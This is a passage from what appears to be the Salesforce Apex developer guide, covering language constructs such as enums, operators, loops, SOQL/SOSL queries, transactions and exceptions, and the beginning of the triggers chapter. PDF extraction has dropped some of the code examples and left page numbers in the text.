To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them
after you finish iterating the collection.
Enums
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Enums
are typically used to define a set of possible values that do not otherwise have a numerical order, such as the suit of a card, or
a particular season of the year. Although each value corresponds to a distinct integer value, the enum hides this implementation
so that you do not inadvertently misuse the values, such as using them to perform arithmetic. After you create an enum,
variables, method arguments, and return types can be declared of that type.
Note: Unlike Java, the enum type itself has no constructor syntax.
To define an enum, use the enum keyword in your declaration and use curly braces to demarcate the list of possible values.
For example, the following code creates an enum called Season:
By creating the enum Season, you have also created a new data type called Season. You can use this new data type as you
might any other data type. For example:
Season e = Season.WINTER;
If (e == Season.SUMMER) return e;
//...
}
You can also define a class as an enum. Note that when you create an enum class you do not use the class keyword in the
definition.
You can use an enum in any place you can use another data type name. If you define a variable whose type is an enum, any
object you assign to it must be an instance of that enum class.
38
Language Constructs Enums
Any webService methods can use enum types as part of their signature. When this occurs, the associated WSDL file includes
definitions for the enum and its values, which can then be used by the API client.
Apex provides the following system-defined enums:
• System.StatusCode
This enum corresponds to the API error code that is exposed in the WSDL document for all API operations. For example:
StatusCode.CANNOT_INSERT_UPDATE_ACTIVATE_ENTITY
StatusCode.INSUFFICIENT_ACCESS_ON_CROSS_REFERENCE_ENTITY
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the
WSDL file for your organization, see “Downloading Salesforce.com WSDLs and Client Authentication Certificates” in
the Salesforce.com online help.
• System.XmlTag:
This enum returns a list of XML tags used for parsing the result XML from a webService method. For more information,
see XmlStreamReader Class on page 384.
• System.ApplicationReadWriteMode: This enum indicates if an organization is in 5 Minute Upgrade read-only mode
during Salesforce.com upgrades and downtimes. For more information, see Using the
System.ApplicationReadWriteMode Enum on page 313.
Note: 5 Minute Upgrade is currently available through a pilot program. For information on enabling 5 Minute
Upgrade for your organization, contact salesforce.com.
• System.LoggingLevel:
This enum is used with the system.debug method, to specify the log level for all debug calls. For more information,
see System Methods on page 307.
• System.RoundingMode:
This enum is used by methods that perform mathematical operations to specify the rounding behavior for the operation,
such as the Decimal divide method and the Double round method. For more information, see Rounding Mode on
page 242.
• System.SoapType:
This enum is returned by the field describe result getSoapType method. For more informations, see Schema.SOAPType
Enum Values on page 279.
• System.DisplayType:
This enum is returned by the field describe result getType method. For more information, see Schema.DisplayType
Enum Values on page 277.
• ApexPages.Severity:
This enum specifies the severity of a Visualforce message. For more information, see ApexPages.Severity Enum on page
350.
• Dom.XmlNodeType:
This enum specifies the node type in a DOM document. For more information, see Node Types on page 393.
39
Language Constructs Understanding Rules of Conversion
All enum values, including system enums, have common methods associated with them. For more information, see Enum
Methods on page 263.
You cannot add user-defined methods to enum values.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is
used and implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
• IDs can always be assigned to Strings.
• Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not,
a runtime exception is thrown.
• The instanceOf keyword can always be used to test whether a string is an ID.
Variables
Local variables are declared with Java-style syntax. For example:
Integer i = 0;
String str;
Account a;
Account[] accts;
Set<String> s;
Map<ID, Account> m;
As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:
Integer i, j, k;
All variables allow null as a value and are initialized to null if they are not assigned another value. For instance, in the
following example, i, and k are assigned values, while j is set to null because it is not assigned:
Integer i = 0, j, k = 1;
40
Language Constructs Case Sensitivity
Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks cannot redefine a
variable name that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:
Integer i;
{
// Integer i; This declaration is not allowed
}
Case Sensitivity
To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:
• Variable and method names are case insensitive. For example:
Integer I;
//Integer i; This would be an error.
• References to object and field names are case insensitive. For example:
Account a1;
ACCOUNT a2;
Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the Web services API
and the Salesforce.com user interface. The use of these semantics can lead to some interesting behavior. For example, if an
end user generates a report based on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields
are returned in the result. The rationale for this behavior is that users typically think of a field without a value as just a “space”
character, rather than its actual “null” value. Consequently, in Apex, the following expressions all evaluate to true:
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
Note: Although s < 'b' evaluates to true in the example above, 'b.'compareTo(s) generates an error because
you are trying to compare a letter to a null value.
Constants
Constants can be defined using the final keyword, which means that the variable can be assigned at most once, either in
the declaration itself, or with a static initializer method if the constant is defined in a class. For example:
41
Language Constructs Expressions
static {
PRIVATE_INT_CONST = calculate();
}
}
For more information, see Using the final Keyword on page 106.
Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. This
section provides an overview of expressions in Apex and contains the following:
• Understanding Expressions on page 42
• Understanding Expression Operators on page 43
• Understanding Operator Precedence on page 48
• Extending sObject and List Expressions on page 49
• Using Comments on page 49
Understanding Expressions
An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value. In Apex,
an expression is always one of the following types:
• A literal expression. For example:
1 + 1
new Account(<field_initializers>)
new Integer[<n>]
new Account[]{<elements>}
new List<Account>()
new Set<String>{}
new Map<String, Integer>()
new myRenamingClass(string oldName, string newName)
• Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list
positions, and most sObject or Apex object field references. For example:
Integer i
myList[3]
myContact.name
myRenamingClass.oldName
42
Language Constructs Understanding Expression Operators
• A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:
System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));
43
Language Constructs Understanding Expression Operators
<<= x <<= y Bitwise shift left assignment operator. Shifts each bit in x to the left by y
bits so that the high order bits are lost, and the new right bits are set to 0.
This value is then reassigned to x.
>>= x >>= y Bitwise shift right signed assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set
to 0 for positive values of y and 1 for negative values of y. This value is then
reassigned to x.
>>>= x >>>= y Bitwise shift right unsigned assignment operator. Shifts each bit in x to the
right by y bits so that the low order bits are lost, and the new left bits are set
to 0 for all values of y. This value is then reassigned to x.
? : x ? y : z Ternary operator (Right associative). This operator acts as a short-hand for
if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z
is the result. Note that x cannot be null.
&& x && y AND logical operator (Left associative). If x, a Boolean, and y, a Boolean,
are both true, then the expression evaluates to true. Otherwise the expression
evaluates to false.
Note:
• && has precedence over ||
• This operator exhibits “short-circuiting” behavior, which means y is
evaluated only if x is true.
• x and y cannot be null.
44
Language Constructs Understanding Expression Operators
• For sObjects and sObject arrays, == performs a deep check of all sObject
field values before returning its result.
• For records, every field must have the same value for == to evaluate to
true.
• x or y can be the literal null.
• The comparison of any two values can never result in null.
• SOQL and SOSL use = for their equality operator, and not ==. Although
Apex and SOQL and SOSL are strongly linked, this unfortunate syntax
discrepancy exists because most modern languages use = for assignment
and == for equality. The designers of Apex deemed it more valuable to
maintain this paradigm than to force developers to learn a new assignment
operator. The result is that Apex developers must use == for equality tests
in the main script body, and = for equality in SOQL and SOSL queries.
=== x === y Exact equality operator. If x and y reference the exact same location in
memory, the expression evaluates to true. Otherwise, the expression evaluates
to false. Note that this operator only works for sObjects or collections (such
as a Map or list). For an Apex object (such as an Exception or instantiation
of a class) the exact equality operator is the same as the equality operator.
< x < y Less than operator. If x is less than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
• Unlike other database stored procedures, Apex does not support tri-state
Boolean logic, and the comparison of any two values can never result in
null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise,
a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user.
> x > y Greater than operator. If x is greater than y, the expression evaluates to true.
Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
45
Language Constructs Understanding Expression Operators
<= x <= y Less than or equal to operator. If x is less than or equal to y, the expression
evaluates to true. Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise,
a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user.
>= x >= y Greater than or equal to operator. If x is greater than or equal to y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
• The comparison of any two values can never result in null.
• If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the
expression is false.
• A non-null String or ID value is always greater than a null value.
• If x and y are IDs, they must reference the same type of object. Otherwise,
a runtime error results.
• If x or y is an ID and the other value is a String, the String value is
validated and treated as an ID.
• x and y cannot be Booleans.
• The comparison of two strings is performed according to the locale of the
context user.
!= x != y Inequality operator. If the value of x does not equal the value of y, the
expression evaluates to true. Otherwise, the expression evaluates to false.
Note:
• Unlike Java, != in Apex compares object value equality, not reference
equality.
• For sObjects and sObject arrays, != performs a deep check of all sObject
field values before returning its result.
46
Language Constructs Understanding Expression Operators
!== x !== y Exact inequality operator. If x and y do not reference the exact same location
in memory, the expression evaluates to true. Otherwise, the expression evaluates
to false. Note that this operator only works for sObjects, collections (such as
a Map or list), or an Apex object (such as an Exception or instantiation of a
class).
+ x + y Addition operator. Adds the value of x to the value of y according to the
following rules:
• If x and y are Integers or Doubles, adds the value of x to the value of y.
If a Double is used, the result is a Double.
• If x is a Date and y is an Integer, returns a new Date that is incremented
by the specified number of days.
• If x is a Datetime and y is an Integer or Double, returns a new Date that
is incremented by the specified number of days, with the fractional portion
corresponding to a portion of a day.
• If x is a String and y is a String or any other type of non-null argument,
concatenates y to the end of x.
47
Language Constructs Understanding Operator Precedence
48
Language Constructs Extending sObject and List Expressions
Using Comments
Both single and multiline comments are supported in Apex scripts:
• To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser.
For example:
• To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Assignment Statements
An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These
include:
49
Language Constructs Assignment Statements
Integer i = 1;
Account a = new Account();
Account[] accts = [select id from account];
ints[0] = 1;
accts[0].name = 'Acme';
• An sObject field reference that the context user has permission to edit. For example:
// Notice that you can write to the account name directly through the contact
c.account.name = 'salesforce.com';
// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.name, 'Acme');
System.assertEquals(c[0].name, 'Acme');
Similarly, two lists can point at the same value in memory. For example:
In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression
Operators on page 43 for more information.
50
Language Constructs Conditional (If-Else) Statements
if ([Boolean_condition])
// Statement 1
else
// Statement 2
The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}
if (place == 1) {
medal_color = 'gold';
} else if (place == 2) {
medal_color = 'silver';
} else if (place == 3) {
medal_color = 'bronze';
} else {
medal_color = null;
}
Loops
Apex supports the following five types of procedural loops:
• do {statement} while (Boolean_condition);
• while (Boolean_condition) statement;
• for (initialization; Boolean_exit_condition; increment) statement;
• for (variable : array_or_set) statement;
• for (variable : [inline_soql_query]) statement;
51
Language Constructs Do-While Loops
Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax
is:
do {
code_block
} while (condition);
As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed.
Consequently, the code block always runs at least once.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
} while (count < 11);
While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax
is:
while (condition) {
code_block
}
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently,
it is possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
For Loops
Apex supports three variations of the for loop:
52
Language Constructs For Loops
or
Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this
statement.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable,
j, is included to demonstrate the syntax:
53
Language Constructs For Loops
or
Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to script expressions in their WHERE clauses using the
: syntax. For example:
String s = 'Acme';
for (Account a : [select id, name from account
where name like :(s+'%')]) {
// Your code
}
The following example combines creating a list from a SOQL query, with the DML update method.
54
Language Constructs For Loops
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();
// The single sObject format executes the for loop once per returned record
Integer I = 0;
for (account tmp : [select id from account where name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (account[] tmp : [select id from account where name = 'yyy']) {
j = tmp.size();
i++;
}
System.assert(j == 3); // The list should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 100 records and,
// only three records should have been returned, the
// loop should have executed only once
Note:
• The break and continue keywords can be used in both types of inline query for loop formats. When using the
sObject list format, continue skips to the next list of sObjects.
• DML statements can only process up to 1000 records at a time, and sObject list for loops process records in
batches of 200. Consequently, if you are inserting, updating, or deleting more than one record per returned record
55
Language Constructs SOQL and SOSL Queries
in an sObject list for loop, it is possible to encounter runtime limit errors. See Understanding Execution Governors
and Limits on page 184.
SOQL Statements
SOQL statements evaluate to a list of sObjects, a single sObject, or an Integer for count method queries.
For example, you could retrieve a list of accounts that are named Acme:
if (!aa.isEmpty()) {
// Execute commands
}
You can also create new objects from SOQL queries on existing ones. The following example creates a new contact for the
first account with the number of employees greater than 10:
Note that the newly created object contains null values for its fields, which will need to be set.
The count method can be used to return the number of rows returned by a query. The following example returns the total
number of contacts with the last name of Weissman:
For a full description of SOQL query syntax, see Salesforce.com Object Query Language (SOQL) in the Web Services API
Developer's Guide.
SOSL Statements
SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the SOSL query. SOSL queries are only supported
in Apex classes and anonymous blocks. You cannot use a SOSL query in a trigger. If a SOSL query does not return any records
for a specified sObject type, the search results include an empty list for that sObject.
56
Language Constructs Working with SOQL and SOSL Query Results
For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (id, name),
Contact, Opportunity, Lead];
Note:
The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the Web services API:
• In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity,
Lead
• In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (id, name), Contact, Opportunity,
Lead
From searchList, you can create arrays for each object returned:
For a full description of SOSL query syntax, see Salesforce.com Object Search Language (SOSL) in the Web Services API
Developer's Guide.
The following is the same code example rewritten so it does not produce a runtime error. Note that name has been added as
part of the select statement, after id.
Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently,
you must dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a
SOQL query, accesses the first account record in the list, and then dereferences the record's annualRevenue field:
57
Language Constructs Working with SOQL Aggregate Functions
The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the
query returns an Integer as the result of a count operation:
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');
Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult
is a read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For
example, you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}
Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri,
where i denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every
aggregated field with no explicit alias. For more information, see “Using Aliases with GROUP BY” in the Web Services API
Developer's Guide.
Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for
the total number of records returned. This limit includes any records included in the aggregation, not just the number
of rows returned by the query. If you encounter this limit, you should add a condition to the WHERE clause to reduce
the amount of records processed by the query.
58
Language Constructs Working with Very Large SOQL Queries
Instead, use a SOQL query for loop as in one of the following examples:
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT id, name FROM account
WHERE name LIKE 'Acme']) {
// Your code here
update accts;
}
The following example demonstrates a SOQL query for loop used to mass update records. Suppose you want to change the
last name of a contact across all records:
Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which
minimizes the risk of hitting governor limits.
For more efficient SOQL queries, particularly for queries inside of triggers, use selective (indexed) queries. Selective queries
filter on primary keys, foreign keys, names, audit dates (such as LastModifiedDate), or External ID fields. In large
organizations, non-selective queries could be stopped at runtime in order to prevent very long running operation times. If you
need them for your application, contact your salesforce.com representative.
Note: If you use a non-selective query in a trigger against an object that contains more than 100000 records an error
is generated. You should include indexed fields in the WHERE clause to avoid these exceptions.
59
Language Constructs Using SOQL Queries That Return One Record
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT id FROM account];
String name = [SELECT name FROM account].name;
Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
60
Language Constructs Using Apex Variables in SOQL and SOSL Queries
Account B;
// A simple bind
B = [select id from account where id = :A.id];
String s = 'XXX';
// A limit bind
Integer i = 1;
B = [select id from account limit :i];
61
Language Constructs Querying All Records with a SOQL Statement
System.assertEquals(2, [SELECT count() FROM contact WHERE accountid = a.id ALL ROWS]);
You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with
the FOR UPDATE keywords.
Locking Statements
Apex allows developers to lock sObject records while they are being updated in order to prevent race conditions and other
thread safety problems. While an sObject record is locked, no other program or user is allowed to make updates.
To lock a set of sObject records in Apex, embed the keywords FOR UPDATE after any inline SOQL statement. For example,
the following statement, in addition to querying for two accounts, also locks the accounts that are returned:
Note: You cannot use the ORDER BY keywords in any SOQL query that uses locking. However, query results are
automatically ordered by ID.
While the accounts are locked by this call, data manipulation language (DML) statements can modify their field values in the
database in the transaction.
Caution: Use care when setting locks in your Apex scripts. See Avoiding Deadlocks, below.
As discussed in SOQL For Loops on page 54, the example above corresponds internally to calls to the query() and
queryMore() methods in the Web services API.
Note that there is no commit statement. If your Apex script completes successfully, any database changes are automatically
committed. If your Apex script does not complete successfully, any changes made to the database are rolled back.
Avoiding Deadlocks
Note that Apex has the possibility of deadlocks, as does any other procedural logic language involving updates to multiple
database tables or rows. To avoid such deadlocks, the Apex runtime engine:
1. First locks sObject parent records, then children
62
Language Constructs Transaction Control
2. Locks sObject records in order of ID when multiple records of the same type are being edited
As a developer, use care when locking rows to ensure that you are not introducing deadlocks. Verify that you are using standard
deadlock avoidance techniques by accessing tables and rows in the same order from all locations in an application.
Transaction Control
All transactions are controlled by the trigger, Web Service, Visualforce page or anonymous block that executes the Apex script.
If the Apex script completes successfully, all changes are committed to the database. If the Apex script does not complete
successfully, all database changes are rolled back.
However, sometimes during the processing of records, your business rules require that partial work (already executed DML
statements) be “rolled back” so that the processing can continue in another direction. Apex gives you the ability to generate a
savepoint, that is, a point in the transaction that specifies the state of the database at that time. Any DML statement that
occurs after the savepoint can be discarded, and the database can be restored to the same condition it was in at the time you
generated the savepoint.
The following limitations apply to generating savepoint variables and rolling back the database:
• If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later
savepoint variables become invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and then
you rolled back to SP1, the variable SP2 would no longer be valid. You will receive a runtime error if you try to use it.
• References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If
you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error.
• You can only set five savepoints in all contexts, that is, in triggers, anonymous blocks, WSDL methods or unit tests. You
will receive a runtime error if you try to set additional savepoints.
• You can only restore the database using rollback 20 times in all contexts, that is, in triggers, anonymous blocks, WSDL
methods or unit tests. You will receive a runtime error if you try to rollback the database additional times.
The following is an example using the setSavepoint and rollback Database methods.
Savepoint sp = Database.setSavepoint();
a.accountnumber = '123';
update a;
Database.rollback(sp);
63
Language Constructs Exception Statements
Exception Statements
Apex uses exceptions to note errors and other events that disrupt the normal flow of script execution. throw statements can
be used to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception.
You can also create your own exceptions using the Exception class. For more information, see Exception Class on page 335.
Throw Statements
A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and
provide it with an exception object to provide information about the specific error. For example:
throw exceptionObject;
Try-Catch-Finally Statements
The try, catch, and finally statements can be used to gracefully recover from a thrown exception:
• The try statement identifies a block of code in which an exception can occur.
• The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can
have multiple associated catch statements, however, each catch statement must have a unique exception type.
• The finally statement optionally identifies a block of code that is guaranteed to execute and allows you to clean up after
the code enclosed in the try block. A single try statement can have only one associated finally statement.
Syntax
The syntax of these statements is as follows:
try {
code_block
} catch (exceptionType) {
code_block
}
// Optional catch statements for other exception types.
// Note that the general exception type, 'Exception',
// must be the last catch block when it is used.
} catch (Exception e) {
code_block
}
// Optional finally statement
} finally {
code_block
Example
For example:
try {
// Your code here
} catch (ListException e) {
// List Exception handling code here
} catch (Exception e) {
// Generic exception handling code here
}
64
Language Constructs Try-Catch-Finally Statements
Note: Limit exceptions caused by an execution governor cannot be caught. See Understanding Execution Governors
and Limits on page 184 for information.
65
Chapter 3
Invoking Apex
In this chapter ... Using the following mechanisms, you can invoke your Apex scripts:
• Triggers • Triggers
• Apex Scheduler • Apex scheduler (for Apex classes only)
• Anonymous Blocks • Anonymous Blocks
• Apex in AJAX • AJAX Toolkit
66
Invoking Apex Triggers
Triggers
Apex scripts can be invoked through the use of triggers. A trigger is an Apex script that executes before or after the following
types of operations:
• insert
• update
• delete
• merge
• upsert
• undelete
For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted,
or even after a record is restored from the Recycle Bin.
You can define triggers for any top-level standard object, such as a Contact or an Account, but not for standard child objects,
such as a ContactRole.
• For case comments, click Your Name ➤ Setup ➤ Cases ➤ Case Comments ➤ Triggers.
• For email messages, click Your Name ➤ Setup ➤ Cases ➤ Email Messages ➤ Triggers.
Implementation Considerations
Before creating triggers, consider the following:
• upsert triggers fire both before and after insert or before and after update triggers as appropriate.
• merge triggers fire both before and after delete triggers for the losing records and before update triggers for the
winning record only. See Triggers and Merge Statements on page 74.
• Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records
on page 75.
• Field history is not recorded until the end of a trigger. If you query field history in a trigger, you will not see any history
for the current transaction.
• Do not write triggers that make assumptions about API batches. Salesforce.com may break up API batches into sets smaller
than those specified.
67
Invoking Apex Bulk Triggers
Bulk Triggers
In earlier versions of Apex, triggers could process only one sObject record at a time and did not support bulk processing.
Consequently, if you defined a trigger that included SOQL queries or DML statements, you could not use API bulk processing
calls on sObjects that fired that trigger without quickly surpassing database query limits.
In this version of Apex, the single record processing model is no longer available. All triggers are bulk triggers by default, and
can process multiple records at a time.
Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.
Bulk triggers can handle both single record updates and bulk operations like:
• Data import
• Bulk Force.com API calls
• Mass actions, such as record owner changes and deletes
• Recursive Apex methods and triggers that invoke bulk DML statements
Trigger Syntax
To define a trigger, use the following syntax:
where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete
Note:
• You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is,
when the method is defined with the @future keyword.
• A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
For example, the following code defines a trigger for the before insert and before update events on the Account
object:
The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner
class. In addition, you do not have to manually commit any database changes made by a trigger. If your Apex script completes
68
Invoking Apex Trigger Context Variables
successfully, any database changes are automatically committed. If your Apex script does not complete successfully, any changes
made to the database are rolled back.
Variable Usage
isExecuting Returns true if the current context for the Apex script is a trigger, not a Visualforce page, a
Web service, or an executeanonymous() API call.
isInsert Returns true if this trigger was fired due to an insert operation, from the Salesforce.com user
interface, Apex, or the API.
isUpdate Returns true if this trigger was fired due to an update operation, from the Salesforce.com user
interface, Apex, or the API.
isDelete Returns true if this trigger was fired due to a delete operation, from the Salesforce.com user
interface, Apex, or the API.
isBefore Returns true if this trigger was fired before any record was saved.
isAfter Returns true if this trigger was fired after all records were saved.
isUndelete Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is,
after an undelete operation from the Salesforce.com user interface, Apex, or the API.)
new Returns a list of the new versions of the sObject records.
Note that this sObject list is only available in insert and update triggers, and the records
can only be modified in before triggers.
size The total number of records in a trigger invocation, both old and new.
Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero),
that value is set to null in the new, newMap, old, and oldMap trigger context variables.
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a
bind variable in the IN clause of a SOQL query:
69
Invoking Apex Context Variable Considerations
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [select lastname from contact
where accountid in :Trigger.new];
}
This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only
executes for specific trigger conditions:
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can\'t delete this record!');
}
}
} else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
70
Invoking Apex Common Bulk Trigger Idioms
• You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers,
trigger.new is not saved, so a runtime exception is thrown.
• trigger.old is always read-only.
• You cannot delete trigger.new.
The following table lists considerations about certain actions in different trigger events:
Trigger Event Can change fields using Can update original object Can delete original object
trigger.new using an update DML using a delete DML
operation operation
before insert Allowed. Not applicable. The original Not applicable. The original
object has not been created; object has not been created;
nothing can reference it, so nothing can reference it, so
nothing can update it. nothing can update it.
after insert Not allowed. A runtime error Allowed. Allowed, but unnecessary. The
is thrown, as trigger.new object is deleted immediately
is already saved. after being inserted.
before update Allowed. Not allowed. A runtime error Not allowed. A runtime error
is thrown. is thrown.
after update Not allowed. A runtime error Allowed. Even though a bad Allowed. The updates are
is thrown, as trigger.new script could cause an infinite saved before the object is
is already saved. recursion doing this deleted, so if the object is
incorrectly, the error would be undeleted, the updates become
found by the governor limits. visible.
before delete Not allowed. A runtime error Allowed. The updates are Not allowed. A runtime error
is thrown. trigger.new is saved before the object is is thrown. The deletion is
not available in before delete deleted, so if the object is already in progress.
triggers. undeleted, the updates become
visible.
after delete Not allowed. A runtime error Not applicable. The object has Not applicable. The object has
is thrown. trigger.new is already been deleted. already been deleted.
not available in after delete
triggers.
after undelete Not allowed. A runtime error Allowed. Allowed, but unnecessary. The
is thrown. trigger.old is object is deleted immediately
not available in after undelete after being inserted.
triggers.
71
Invoking Apex Defining Triggers
For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the
OpportunityLineItem records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries
the PricebookEntries for their associated product color, and places the results in a map. Once the map is created, the trigger
iterates through the OpportunityLineItems in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {
// Query the PricebookEntries for their associated product color and place the results
// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);
